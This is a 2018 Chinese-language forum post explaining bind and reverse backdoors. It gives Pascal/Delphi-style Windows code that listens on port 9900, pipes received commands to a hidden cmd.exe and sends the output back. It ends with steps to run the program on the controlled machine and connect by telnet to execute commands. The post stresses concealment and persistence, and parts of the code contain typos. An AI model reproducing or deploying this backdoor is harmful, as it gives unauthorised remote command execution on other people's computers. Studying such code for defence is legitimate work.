神秘小头 发表于 2018-11-20 23:18:45

正向后门与反向后门原理

一、后门的分类
按照连接方式可分为:正向后门及反弹后门。
二、后门的功能
主要是用来获取被控机连接权限的,所以一般后门主要功能集中在隐藏、潜伏、保持连接,功能上具备执行命令功能即可。
三、后门实现原理
正向后门需要在本机开启监听端口等到控制机的连接控制。
(1)在windows下可以使用socket来建立套接字,再使用bind绑定地址、listen监听端口、accept等到控制机的连接,连接上以后就可以使用recv和send收发控制指令和回显信息了。主要原理基本就这些,当然使用完socket要记得用closesocket关闭套接字。
(2)使用进程通信方法将命令传递给cmd.exe执行,并将结果发送给控制机。
四、代码的实现
1、建立通信
   port:=9900;//定义访问端口
   timeout:=PChar(5000);//定义超时时间
   bindserver:=socket(AF_INET,SOCK_STREAM,0);//定义socket
   addserver.sin_family:=AF_INET;
   addserver.sin_port;=htons(port);
   addserver.sin_addr.S_adder:INADDR_ANY;
setsockopt(bindserver,SOL_SOCKET,SO_RCVTIMEO,timeout,sizeof(timeout)); //设置超时时间
bind(bindserver,addserver,sizeof(addserver));//绑定地址
listen(bindserver,5);//启动监听
2、创建管道与cmd.exe通信
sa:SECURITY_ATTRIBUTES; //定义安全属性
siinfo:STARTUPINFO;//新进程的STARTUPINFO结构体
sa.nLenth:=sizeof(SECURITY_ATTRIBUTES);//设置安全属性
sa.lpSecurityDescriptor:=nil;
sa.bInheritHandle:=TRUE;
createpipe(hreadpipe1,hwritepipe1,@sa,0); //创建两个匿名管道
createpipe(hreadpipe2,hwritepipe2,@sa,0);
siinfo.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);
siinfo.wShowWindow:=SW_HIDE; //新进程窗体隐藏
siinfo.hStdInput:=hreadpipe2;//新进程输入管道
siinfo.hStdOutput:=hwritepipe1; //新进程输出管道
siinfo.hStdError:=hwritepipe1; //新进程报错信息管道
StrPCopy(cmdpath,'c:\windows\system32\cmd.exe'); //设置cmd路径
CreateProcess(nil,cmdpath,nil,nil,true,0,nil,nil,siinfo,processinformation);//创建进程
五、使用方法
1、编译好后门demo并运行,会在被控机监听9900端口。
2、使用telnet连接被控机9900   使用方法:telent127.0.0.1   9900
3、执行命令,连接成功之后执行了dir和whoami都可正常回显,基本没啥问题。
页: [1]
查看完整版本: 正向后门与反向后门原理